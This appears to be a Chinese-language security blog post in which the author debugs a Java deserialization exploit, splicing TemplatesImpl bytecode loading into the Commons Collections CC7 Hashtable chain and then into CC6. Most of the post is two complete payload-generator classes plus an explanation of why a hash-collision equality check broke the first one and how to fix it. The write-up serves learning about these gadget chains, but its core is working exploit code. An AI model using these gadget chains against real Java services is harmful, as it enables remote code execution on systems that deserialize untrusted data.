0%

CC7 hashtable反序列化原理调试

CC7 hashtable反序列化原理调试

本来只是对CC各链进行了简单性的写代码复习,就是大致的记忆了CC1-7的各个链触发方式和利用点,但对具体触发的流程并不甚熟悉。昨天闲的没事把templatesImpl和CC7的hashtable缝合了一下,发现payload在触发上存在着一定的问题,然后百思不得其解,然后究极debug还是发现不了问题所在,问了下rmb神仙他和我说是时候究极跟进实现了。于是今天来debug一下

缝合代码

这份是缝合了之后看起来天衣无缝但是跑不起来的代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CCTemplateImpl {
    public static Object getPayload(final String command) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(TemplateImplPayloadClass.class.getName());
        byte[] classBytes = ctClazz.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
        Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bf.setAccessible(true);
        bf.set(templatesImpl, targetByteCodes);

        // 进入 defineTransletClasses() 方法需要的条件
        Field nf = TemplatesImpl.class.getDeclaredField("_name");
        nf.setAccessible(true);
        nf.set(templatesImpl, "name");
        Field cf = TemplatesImpl.class.getDeclaredField("_class");
        cf.setAccessible(true);
        cf.set(templatesImpl, null);
        Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
        tf.setAccessible(true);
        tf.set(templatesImpl, new TransformerFactoryImpl());

        final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(1)};
        //等会反射改,不然又打自己
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};
        final Transformer transformerChain = new ChainedTransformer(rubbish);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);


        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        return hashtable;
    }
}

经过一系列的debug,最后发现在hashtable.put(lazyMap2, 2);处,似乎没有把数据put进去。对比CC7的payload调试情况,这步进行完成后hashtable的size仍然是1。简单的说就是put没put进去。

然后问了下甫舟,甫舟把他的缝合版发给了我,简单对比一下没有实质上的区别,但他的跑得起来,我的跑不起来。
但是当我把我的final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(1)};这句中的ConstantTransformer换成他的null之后就跑起来了。有点无法理解。。。

调试

怎么说呢,今天一调试就调试出结果了。。。昨天调了几下却没看懂逻辑。。。可能是因为idea调试这里有点抽象吧

在这里下一个断点

image-20220312170030329
并在第二个put语句中step into。会非常奇怪的没有进入put函数而是进入了AbstractMapDecorator

image-20220312170153242

我直接疑惑,当时就不知道什么情况了,如果继续step into就会进其他的函数,step forward直接回到主函数。根本不知道发生了什么,然后今天我看了一眼左边的调用栈,才发现怎么还有一层他没给我进去呢

image-20220312170308917

然后点调用栈进Hashtable的put函数,逻辑就很清楚了

image-20220312170344662

在put的时候会对hash值进行检验,如果hash相同则进入equal进行比对。这里的equal会调用map.equal,也就是lazyMap的equal,然后lazymap.get到lazymap的transform触发payload

而这里我塞了一个ConstantTransformer返回1,因此最后在put时会认为哈希碰撞且值相同,不放入该entry。。。所以put无效,修补方案也很简单,只要让rubbish中transform的返回值和一开始lazyMap中put的值不一样就行了。当然,建议该ConstantTransformer,因为两个lazymap的值仍然需要一致,否则算出来的hashCode不一致,同样不会触发payload

put时的操作也就是readObject时触发的操作,readObject时调用reconstitutionPut(那个词是重建的意思),和put做的操作类似,会进行哈希比对,若哈希相同则用equal比对值,然后走上和put一致的道路
所以构造payload的时候要先塞rubbish再反射改掉,不然会打自己一下

早知道就缝合CC6了,没这么多屁事,昨天缝合CC7然后出这么个问题人都懵了

结论

把ConstantTransformer的返回值改一下就行

缝一下CC6

这个没那么多屁事还方便一点,直接两边复制粘贴搞定

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC6TemplateImpl {
    public static Object getPayload(final String command) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(TemplateImplPayloadClass.class.getName());
        byte[] classBytes = ctClazz.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
        Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bf.setAccessible(true);
        bf.set(templatesImpl, targetByteCodes);

        // 进入 defineTransletClasses() 方法需要的条件
        Field nf = TemplatesImpl.class.getDeclaredField("_name");
        nf.setAccessible(true);
        nf.set(templatesImpl, "name");
        Field cf = TemplatesImpl.class.getDeclaredField("_class");
        cf.setAccessible(true);
        cf.set(templatesImpl, null);
        Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
        tf.setAccessible(true);
        tf.set(templatesImpl, new TransformerFactoryImpl());

        // 这里填的值不能和lazymap.put处的值一致
        final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(0)};
        //等会反射改,不然又打自己
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})};
        final Transformer transformerChain = new ChainedTransformer(rubbish);

        HashMap innerMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);

        HashMap map = new HashMap();
        map.put(tiedMapEntry, 1);
        innerMap.clear();

        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        return map;
    }
}

急速水文章ing(昨天我是真的头都调麻了没想出来怎么回事,今天发现原来他没给我进Hashtable的put函数之后瞬间想通。。。)